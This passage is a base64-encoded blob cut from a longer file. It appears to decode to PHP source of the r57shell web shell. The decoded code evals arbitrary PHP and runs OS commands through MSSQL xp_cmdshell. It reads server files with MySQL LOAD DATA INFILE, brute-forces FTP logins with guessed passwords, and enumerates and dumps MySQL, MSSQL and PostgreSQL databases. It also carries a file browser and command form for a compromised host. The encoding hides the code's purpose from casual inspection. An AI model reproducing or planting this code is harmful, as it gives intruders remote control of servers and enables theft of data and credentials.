QzJzppZighaXNzZXQoJF9QT1NUWyd0ZXN0M19wb3J0J10pIHx8IGVtcHR5KCRfUE9TVFsndGVzdDNfcG9ydCddKSl7JF9QT1NUWyd0ZXN0M19wb3J0J109IjMzMDYiO30kZGI9QG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdDonLiRfUE9TVFsndGVzdDNfcG9ydCddLCRfUE9TVFsndGVzdDNfbWwnXSwkX1BPU1RbJ3Rlc3QzX21wJ10pO2lmKCRkYil7aWYoQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3QzX21kJ10sJGRiKSl7JHNxbD0iRFJPUCBUQUJMRSBJRiBFWElTVFMgdGVtcF9yNTdfdGFibGU7IjtAbXlzcWxfcXVlcnkoJHNxbCk7JHNxbD0iQ1JFQVRFIFRBQkxFIGB0ZW1wX3I1N190YWJsZWAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKTsiO0BteXNxbF9xdWVyeSgkc3FsKTskc3FsPSJMT0FEIERBVEEgSU5GSUxFIFwiIi4kX1BPU1RbJ3Rlc3QzX2ZpbGUnXS4iXCIgSU5UTyBUQUJMRSB0ZW1wX3I1N190YWJsZTsiO0BteXNxbF9xdWVyeSgkc3FsKTskc3FsPSJTRUxFQ1QgKiBGUk9NIHRlbXBfcjU3X3RhYmxlOyI7JHI9QG15c3FsX3F1ZXJ5KCRzcWwpO3doaWxlKCgkcl9zcWw9QG15c3FsX2ZldGNoX2FycmF5KCRyKSkpe2VjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzAgXSk7fSRzcWw9IkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlOyI7QG15c3FsX3F1ZXJ5KCRzcWwpO31lbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjtAbXlzcWxfY2xvc2UoJGRiKTt9ZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gbXlzcWwgc2VydmVyIjticmVhaztjYXNlICd0ZXN0NCc6aWYoIWlzc2V0KCRfUE9TVFsndGVzdDRfcG9ydCddKSB8fCBlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSkpeyRfUE9TVFsndGVzdDRfcG9ydCddPSIxNDMzIjt9JGRiPUBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTtpZigkZGIpe2lmKEBtc3NxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0NF9tZCddLCRkYikpe0Btc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTtAbXNzcWxfcXVlcnkoImNyZWF0ZSB0YWJsZSByNTdfdGVtcF90YWJsZSAoIHN0cmluZyBWQVJDSEFSICg1MDApIE5VTEwpIiwkZGIpO0Btc3NxbF9xdWVyeSgiaW5zZXJ0IGludG8gcjU3X3RlbXBfdGFibGUgRVhFQyBtYXN0ZXIuZGJvLnhwX2NtZHNoZWxsICciLiRfUE9TVFsndGVzdDRfZmlsZSddLiInIiwkZGIpOyRyZXM9bXNzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gcjU3X3RlbXBfdGFibGUiLCRkYik7d2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpe2VjaG8gJHJvd1swIF0uIlxyXG4iO31AbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7fWVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiO0Btc3NxbF9jbG9zZSgkZGIpO31lbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBNU1NRTCBzZXJ2ZXIiO2JyZWFrO319ZWxzZSBpZigoJF9QT1NUWydjbWQnXSE9InBocF9ldmFsIikgJiYgKCRfUE9TVFsnY21kJ10hPSJteXNxbF9kdW1wIikgJiYgKCRfUE9TVFsnY21kJ10hPSJkYl9zaG93IikgJiYgKCRfUE9TVFsnY21kJ10hPSJkYl9xdWVyeSIpICYmICgkX1BPU1RbJ2NtZCddIT0iZnRwX2JydXRlIikpeyRjbWRfcmVwPWV4KCRfUE9TVFsnY21kJ10pO2lmKCR3aW5kb3dzKXtlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBjb252ZXJ0X2N5cl9zdHJpbmcoJGNtZF9yZXAsJ2QnLCd3JykpLiJcbiI7fWVsc2Uge2VjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7fX1pZigkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIil7JHN1Yz0wIDtmb3JlYWNoKCR1c2VycyBhcyAkdXNlcil7JGNvbm5lY3Rpb249QGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCApO2lmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJHVzZXIsJHVzZXIpKXtlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7JHN1YysrO31lbHNlIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSl7aWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSl7ZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyRzdWMrKzt9fUBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pO31lY2hvICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOyRjb3VudD1jb3VudCgkdXNlcnMpO2lmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSl7JGNvdW50Kj0yIDt9ZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTcnXS4kY291bnQuIlxyXG4iO2VjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7fWlmKCRfUE9TVFsnY21kJ109PSJwaHBfZXZhbCIpeyRldmFsPUBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7JGV2YWw9QHN0cl9yZXBsYWNlKCI/PiIsIiIsJGV2YWwpO0BldmFsKCRldmFsKTt9aWYoJF9QT1NUWydjbWQnXT09ImRiX3Nob3ciKXtzd2l0Y2goJF9QT1NUWydkYiddKXtjYXNlICdNeVNRTCc6aWYoZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pKXskX1BPU1RbJ2RiX3BvcnQnXT0nMzMwNic7fSRkYj1AbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0OicuJF9QT1NUWydkYl9wb3J0J10sJF9QT1NUWydteXNxbF9sJ10sJF9QT1NUWydteXNxbF9wJ10pO2lmKCRkYil7JHJlcz1AbXlzcWxfcXVlcnkoIlNIT1cgREFUQUJBU0VTIiwkZGIpO3doaWxlKCgkcm93PUBteXNxbF9mZXRjaF9yb3coJHJlcykpKXtlY2hvICJbK10gIi4kcm93WzAgXS4iXHJcbiI7aWYoaXNzZXQoJF9QT1NUWydzdCddKSl7JHJlczI9QG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJHJvd1swIF0sJGRiKTt3aGlsZSgoJHJvdzI9QG15c3FsX2ZldGNoX3JvdygkcmVzMikpKXtlY2hvICIgfCAtICIuJHJvdzJbMCBdLiJcclxuIjtpZihpc3NldCgkX1BPU1RbJ3NjJ10pKXskcmVzMz1AbXlzcWxfcXVlcnkoIlNIT1cgQ09MVU1OUyBGUk9NICIuJHJvd1swIF0uIi4iLiRyb3cyWzAgXSwkZGIpO3doaWxlKCgkcm93Mz1AbXlzcWxfZmV0Y2hfcm93KCRyZXMzKSkpe2VjaG8gIiAgIHwgLSAiLiRyb3czWzAgXS4iXHJcbiI7fX19fX1AbXlzcWxfY2xvc2UoJGRiKTt9ZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyIjticmVhaztjYXNlICdNU1NRTCc6aWYoZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pKXskX1BPU1RbJ2RiX3BvcnQnXT0nMTQzMyc7fSRkYj1AbXNzcWxfY29ubmVjdCgnbG9jYWxob3N0LCcuJF9QT1NUWydkYl9wb3J0J10sJF9QT1NUWydteXNxbF9sJ10sJF9QT1NUWydteXNxbF9wJ10pO2lmKCRkYil7JHJlcz1AbXNzcWxfcXVlcnkoInNwX2RhdGFiYXNlcyIsJGRiKTt3aGlsZSgoJHJvdz1AbXNzcWxfZmV0Y2hfcm93KCRyZXMpKSl7ZWNobyAiWytdICIuJHJvd1swIF0uIlxyXG4iO2lmKGlzc2V0KCRfUE9TVFsnc3QnXSkpe0Btc3NxbF9zZWxlY3RfZGIoJHJvd1swIF0pOyRyZXMyPUBtc3NxbF9xdWVyeSgic3BfdGFibGVzIiwkZGIpO3doaWxlKCgkcm93Mj1AbXNzcWxfZmV0Y2hfYXJyYXkoJHJlczIpKSl7aWYoJHJvdzJbJ1RBQkxFX1RZUEUnXT09J1RBQkxFJyAmJiAkcm93MlsnVEFCTEVfTkFNRSddIT0nZHRwcm9wZXJ0aWVzJyl7ZWNobyAiIHwgLSAiLiRyb3cyWydUQUJMRV9OQU1FJ10uIlxyXG4iO2lmKGlzc2V0KCRfUE9TVFsnc2MnXSkpeyRyZXMzPUBtc3NxbF9xdWVyeSgic3BfY29sdW1ucyAiLiRyb3cyWzIgXSwkZGIpO3doaWxlKCgkcm93Mz1AbXNzcWxfZmV0Y2hfYXJyYXkoJHJlczMpKSl7ZWNobyAiICAgfCAtICIuJHJvdzNbJ0NPTFVNTl9OQU1FJ10uIlxyXG4iO319fX19fUBtc3NxbF9jbG9zZSgkZGIpO31lbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBNU1NRTCBzZXJ2ZXIiO2JyZWFrO2Nhc2UgJ1Bvc3RncmVTUUwnOmlmKGVtcHR5KCRfUE9TVFsnZGJfcG9ydCddKSl7JF9QT1NUWydkYl9wb3J0J109JzU0MzInO30kc3RyPSJob3N0PSdsb2NhbGhvc3QnIHBvcnQ9JyIuJF9QT1NUWydkYl9wb3J0J10uIicgdXNlcj0nIi4kX1BPU1RbJ215c3FsX2wnXS4iJyBwYXNzd29yZD0nIi4kX1BPU1RbJ215c3FsX3AnXS4iJyBkYm5hbWU9JyIuJF9QT1NUWydteXNxbF9kYiddLiInIjskZGI9QHBnX2Nvbm5lY3QoJHN0cik7aWYoJGRiKXskcmVzPUBwZ19xdWVyeSgkZGIsIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZT0nZiciKTt3aGlsZSgoJHJvdz1AcGdfZmV0Y2hfcm93KCRyZXMpKSl7ZWNobyAiWytdICIuJHJvd1swIF0uIlxyXG4iO31AcGdfY2xvc2UoJGRiKTt9ZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gUG9zdGdyZVNRTCBzZXJ2ZXIiO2JyZWFrO319aWYoJF9QT1NUWydjbWQnXT09Im15c3FsX2R1bXAiKXtpZihpc3NldCgkX1BPU1RbJ2RpZiddKSl7JGZwPUBmb3BlbigkX1BPU1RbJ2RpZl9uYW1lJ10sInciKTt9aWYoKCFlbXB0eSgkX1BPU1RbJ2RpZiddKSAmJiAkZnApIHx8IChlbXB0eSgkX1BPU1RbJ2RpZiddKSkpeyRzcWg9IiMgaG9tZXBhZ2U6IGh0dHA6Ly9yc3Qudm9pZC5ydVxyXG4iOyRzcWguPSIjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOyRzcWguPSIjICAgICBkYXRlIDogIi5kYXRlKCJqIEYgWSBnOmkiKS4iXHJcbiI7JHNxaC49IiMgZGF0YWJhc2UgOiAiLiRfUE9TVFsnbXlzcWxfZGInXS4iXHJcbiI7JHNxaC49IiMgICAgdGFibGUgOiAiLiRfUE9TVFsnbXlzcWxfdGJsJ10uIlxyXG4iOyRzcWguPSIjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuIjtzd2l0Y2goJF9QT1NUWydkYiddKXtjYXNlICdNeVNRTCc6aWYoZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pKXskX1BPU1RbJ2RiX3BvcnQnXT0nMzMwNic7fSRkYj1AbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0OicuJF9QT1NUWydkYl9wb3J0J10sJF9QT1NUWydteXNxbF9sJ10sJF9QT1NUWydteXNxbF9wJ10pO2lmKCRkYil7aWYoQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ215c3FsX2RiJ10sJGRiKSl7JHNxbDE9IiMgTXlTUUwgZHVtcCBjcmVhdGVkIGJ5IHI1N3NoZWxsXHJcbiI7JHNxbDEuPSRzcWg7JHJlcz1AbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiRfUE9TVFsnbXlzcWxfdGJsJ10uImAiLCRkYik7JHJvdz1AbXlzcWxfZmV0Y2hfcm93KCRyZXMpOyRzcWwxLj0kcm93WzEgXS4iXHJcblxyXG4iOyRzcWwxLj0iIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcbiI7JHNxbDI9Jyc7JHJlcz1AbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCIuJF9QT1NUWydteXNxbF90YmwnXS4iYCIsJGRiKTtpZihAbXlzcWxfbnVtX3Jvd3MoJHJlcyk+MCApe3doaWxlKCgkcm93PUBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkpeyRrZXlzPUBpbXBsb2RlKCJgLCBgIixAYXJyYXlfa2V5cygkcm93KSk7JHZhbHVlcz1AYXJyYXlfdmFsdWVzKCRyb3cpO2ZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpeyR2YWx1ZXNbJGtdPWFkZHNsYXNoZXMoJHYpO30kdmFsdWVzPUBpbXBsb2RlKCInLCAnIiwkdmFsdWVzKTskc3FsMi49IklOU0VSVCBJTlRPIGAiLiRfUE9TVFsnbXlzcWxfdGJsJ10uImAgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlcykuIicpO1xyXG4iO30kc3FsMi49IlxyXG4jIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSI7fWlmKCFlbXB0eSgkX1BPU1RbJ2RpZiddKSAmJiAkZnApe0BmcHV0cygkZnAsJHNxbDEuJHNxbDIpO31lbHNlIHtlY2hvICRzcWwxLiRzcWwyO319ZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7QG15c3FsX2Nsb3NlKCRkYik7fWVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIE15U1FMIHNlcnZlciI7YnJlYWs7Y2FzZSAnTVNTUUwnOmlmKGVtcHR5KCRfUE9TVFsnZGJfcG9ydCddKSl7JF9QT1NUWydkYl9wb3J0J109JzE0MzMnO30kZGI9QG1zc3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCwnLiRfUE9TVFsnZGJfcG9ydCddLCRfUE9TVFsnbXlzcWxfbCddLCRfUE9TVFsnbXlzcWxfcCddKTtpZigkZGIpe2lmKEBtc3NxbF9zZWxlY3RfZGIoJF9QT1NUWydteXNxbF9kYiddLCRkYikpeyRzcWwxPSIjIE1TU1FMIGR1bXAgY3JlYXRlZCBieSByNTdzaGVsbFxyXG4iOyRzcWwxLj0kc3FoOyRzcWwyPScnOyRyZXM9QG1zc3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJF9QT1NUWydteXNxbF90YmwnXS4iIiwkZGIpO2lmKEBtc3NxbF9udW1fcm93cygkcmVzKT4wICl7d2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX2Fzc29jKCRyZXMpKSl7JGtleXM9QGltcGxvZGUoIiwgIixAYXJyYXlfa2V5cygkcm93KSk7JHZhbHVlcz1AYXJyYXlfdmFsdWVzKCRyb3cpO2ZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpeyR2YWx1ZXNbJGtdPWFkZHNsYXNoZXMoJHYpO30kdmFsdWVzPUBpbXBsb2RlKCInLCAnIiwkdmFsdWVzKTskc3FsMi49IklOU0VSVCBJTlRPICIuJF9QT1NUWydteXNxbF90YmwnXS4iICgiLiRrZXlzLiIpIFZBTFVFUyAoJyIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzKS4iJyk7XHJcbiI7fSRzcWwyLj0iXHJcbiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjt9aWYoIWVtcHR5KCRfUE9TVFsnZGlmJ10pICYmICRmcCl7QGZwdXRzKCRmcCwkc3FsMS4kc3FsMik7fWVsc2Uge2VjaG8gJHNxbDEuJHNxbDI7fX1lbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjtAbXNzcWxfY2xvc2UoJGRiKTt9ZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjticmVhaztjYXNlICdQb3N0Z3JlU1FMJzppZihlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSkpeyRfUE9TVFsnZGJfcG9ydCddPSc1NDMyJzt9JHN0cj0iaG9zdD0nbG9jYWxob3N0JyBwb3J0PSciLiRfUE9TVFsnZGJfcG9ydCddLiInIHVzZXI9JyIuJF9QT1NUWydteXNxbF9sJ10uIicgcGFzc3dvcmQ9JyIuJF9QT1NUWydteXNxbF9wJ10uIicgZGJuYW1lPSciLiRfUE9TVFsnbXlzcWxfZGInXS4iJyI7JGRiPUBwZ19jb25uZWN0KCRzdHIpO2lmKCRkYil7JHNxbDE9IiMgUG9zdGdyZVNRTCBkdW1wIGNyZWF0ZWQgYnkgcjU3c2hlbGxcclxuIjskc3FsMS49JHNxaDskc3FsMj0nJzskcmVzPUBwZ19xdWVyeSgkZGIsIlNFTEVDVCAqIEZST00gIi4kX1BPU1RbJ215c3FsX3RibCddLiIiKTtpZihAcGdfbnVtX3Jvd3MoJHJlcyk+MCApe3doaWxlKCgkcm93PUBwZ19mZXRjaF9hc3NvYygkcmVzKSkpeyRrZXlzPUBpbXBsb2RlKCIsICIsQGFycmF5X2tleXMoJHJvdykpOyR2YWx1ZXM9QGFycmF5X3ZhbHVlcygkcm93KTtmb3JlYWNoKCR2YWx1ZXMgYXMgJGs9PiR2KXskdmFsdWVzWyRrXT1hZGRzbGFzaGVzKCR2KTt9JHZhbHVlcz1AaW1wbG9kZSgiJywgJyIsJHZhbHVlcyk7JHNxbDIuPSJJTlNFUlQgSU5UTyAiLiRfUE9TVFsnbXlzcWxfdGJsJ10uIiAoIi4ka2V5cy4iKSBWQUxVRVMgKCciLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlcykuIicpO1xyXG4iO30kc3FsMi49IlxyXG4jIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSI7fWlmKCFlbXB0eSgkX1BPU1RbJ2RpZiddKSAmJiAkZnApe0BmcHV0cygkZnAsJHNxbDEuJHNxbDIpO31lbHNlIHtlY2hvICRzcWwxLiRzcWwyO31AcGdfY2xvc2UoJGRiKTt9ZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gUG9zdGdyZVNRTCBzZXJ2ZXIiO2JyZWFrO319ZWxzZSBpZighZW1wdHkoJF9QT1NUWydkaWYnXSkgJiYgISRmcCl7ZWNobyAiWy1dIEVSUk9SISBDYW4ndCB3cml0ZSBpbiBkdW1wIGZpbGUiO319aWYoISRzYWZlX21vZGUgfHwgJF9QT1NUWydjbWQnXSE9InNhZmVfZGlyIil7ZWNobyAiPC90ZXh0YXJlYT4iO31lY2hvICI8L2Rpdj4iO2VjaG8gIjwvYj4iO2VjaG8gIjwvdGQ+PC90cj4iO2lmKCRzYWZlX21vZGUgJiYgJF9QT1NUWydjbWQnXT09InNhZmVfZGlyIiAmJiBpc3NldCgkYXJyRGlyc0FuZEZpbGVzKSl7ZWNobyAiPHRyPjx0ZD4iO3ByaW50ICI8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2RpcicgdmFsdWU9JyIuJGRpci4iJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2NtZCcgdmFsdWU9Jyc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdwTmFtZScgdmFsdWU9Jyc+DQoJPC9mb3JtPiI7cHJpbnQgIjxzY3JpcHQ+DQoJCWZ1bmN0aW9uIGcoY21kLGRpcixwTmFtZSxwVmFsKSB7DQoJCQlpZihjbWQhPW51bGwpeyBkb2N1bWVudC5tZi5jbWQudmFsdWUgPSBjbWQ7IH0NCgkJCWlmKGRpciE9bnVsbCl7IGRvY3VtZW50Lm1mLmRpci52YWx1ZSA9IGRpcjsgfQ0KCQkJaWYocE5hbWUhPW51bGwpeyBkb2N1bWVudC5tZi5wTmFtZS5uYW1lID0gcE5hbWU7IH0NCgkJCWlmKHBOYW1lIT1udWxsICYmIHBWYWwhPW51bGwpeyBkb2N1bWVudC5tZi5wTmFtZS52YWx1ZSA9IHBWYWw7IH0NCgkJCWRvY3VtZW50Lm1mLnN1Ym1pdCgpOw0KCQl9DQoJPC9zY3JpcHQ+IjtwcmludCAiPHN0eWxlPiI7cHJpbnQgIi50YWJsZUxpc3Qge2ZvbnQtZmFtaWx5OlZlcmRhbmE7IGZvbnQtc2l6ZToxMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiNlNGU0ZTQ7IG1hcmdpbjoxMHB4OyBib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7IH0iO3ByaW50ICIudGFibGVMaXN0IGEge3RleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjojMDAwOyB9IjtwcmludCAiLnRhYmxlTGlzdCBhOmhvdmVyIHt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyBjb2xvcjojMDAwOyB9IjtwcmludCAiLnRhYmxlTGlzdCB0ZCB7Ym9yZGVyOjFweCBzb2xpZCAjYTBhMGEwOyBwYWRkaW5nOjAgNXB4OyB9IjtwcmludCAiLnRhYmxlTGlzdCB0aCB7YmFja2dyb3VuZC1jb2xvcjojYTBhMGEwOyBib3JkZXI6MXB4IHNvbGlkICNjOGM4Yzg7IHRleHQtYWxpZ246Y2VudGVyOyB9IjtwcmludCAiLnRhYmxlTGlzdCB0cjpob3ZlciB7YmFja2dyb3VuZC1jb2xvcjojZmZmYmZiOyB9IjtwcmludCAiPC9zdHlsZT4iO3ByaW50ICI8Y2VudGVyPjx0YWJsZSB3aWR0aD0nNzAlJyBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnIGJvcmRlcj0nMCcgY2xhc3M9J3RhYmxlTGlzdCc+PHRyPjx0aD5uYW1lPC90aD48dGg+c2l6ZTwvdGg+PHRoPmRhdGU8L3RoPjx0aD5wZXJtaXM8L3RoPjwvdHI+IjtwcmludCAiIjtmb3JlYWNoKCRhcnJEaXJzQW5kRmlsZXMgYXMgJGFyckRpcnNBbmRGaWxlc0tleT0+JGFyckRpcnNBbmRGaWxlc1ZhbCl7cHJpbnQgIjx0cj4iO2lmKCRhcnJEaXJzQW5kRmlsZXNWYWxbJ3R5cGUnXT09ImRpciIpe3ByaW50ICI8dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdzYWZlX2RpcicsJyIuc3RyX3JlcGxhY2UoIlxcIiwiLyIsJGRpcikuIi8iLiRhcnJEaXJzQW5kRmlsZXNWYWxbJ25hbWUnXS4iJyxudWxsLG51bGwpXCI+PGI+Ii4kYXJyRGlyc0FuZEZpbGVzVmFsWyduYW1lJ10uIjwvYj48L2E+PC90ZD4iO31pZigkYXJyRGlyc0FuZEZpbGVzVmFsWyd0eXBlJ109PSJmaWxlIil7cHJpbnQgIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2VkaXRfZmlsZScsbnVsbCwnZV9uYW1lJywnIi5zdHJfcmVwbGFjZSgiXFwiLCIvIiwkZGlyKS4iLyIuJGFyckRpcnNBbmRGaWxlc1ZhbFsnbmFtZSddLiInKVwiPiIuJGFyckRpcnNBbmRGaWxlc1ZhbFsnbmFtZSddLiI8L2E+PC90ZD4iO31wcmludCAiPHRkPiIuc3RyX3JlcGxhY2UoYXJyYXkoIjwiLCI+IiksYXJyYXkoIiZsdDsiLCImZ3Q7IiksJGFyckRpcnNBbmRGaWxlc1ZhbFsnc2l6ZSddKS4iPC90ZD4iO3ByaW50ICI8dGQ+Ii4kYXJyRGlyc0FuZEZpbGVzVmFsWydkYXRlJ10uIjwvdGQ+IjtwcmludCAiPHRkPiIuJGFyckRpcnNBbmRGaWxlc1ZhbFsncGVybWlzJ10uIiZuYnNwOzwvdGQ+IjtwcmludCAiPC90cj4iO31wcmludCAiPC90YWJsZT48L2NlbnRlcj4iO2VjaG8gIjwvdGQ+PC90cj4iO31lY2hvICI8L3RhYmxlPiI7ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7ZnVuY3Rpb24gdXBfZG93bigkaWQpe2dsb2JhbCAkbGFuZztnbG9iYWwgJGxhbmd1YWdlO3JldHVybiAiIjt9ZnVuY3Rpb24gZGl2KCRpZCl7aWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgJF9DT09LSUVbJGlkXT09MCApcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPic7cmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIj4nO31pZighJHNhZmVfbW9kZSl7ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLnVwX2Rvd24oJ2lkMScpLiR0YWJsZV91cDIuZGl2KCdpZDEnKS4kdHM7ZWNobyBzcigxNSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnY21kJyw4NSAsJycpKTtlY2hvIHNyKDE1ICwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1ICwkZGlyKS53cyg0ICkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpO2VjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTt9ZWxzZSB7ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjgnXS51cF9kb3duKCdpZDInKS4kdGFibGVfdXAyLmRpdignaWQyJykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUgLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAgLCdzYWZlX2RpcicpLndzKDQgKS5pbignc3VibWl0Jywnc3VibWl0JywwICwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NiddKSk7ZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlO31lY2hvICRmcy4kdGFibGVfdXAxLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MiddLnVwX2Rvd24oJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7ZWNobyBzcigxNSAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2VfbmFtZScsODUgLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAgLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwICwkZGlyKS53cyg0ICkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDExJ10pKTtlY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7aWYoJHNhZmVfbW9kZSl7ZWNobyAkZnMuJHRhYmxlX3VwMS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTcnXS51cF9kb3duKCdpZDQnKS4kdGFibGVfdXAyLmRpdignaWQ0JykuJHRzO2VjaG8gc3IoMTUgLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdta19uYW1lJyw1NCAsKCFlbXB0eSgkX1BPU1RbJ21rX25hbWUnXS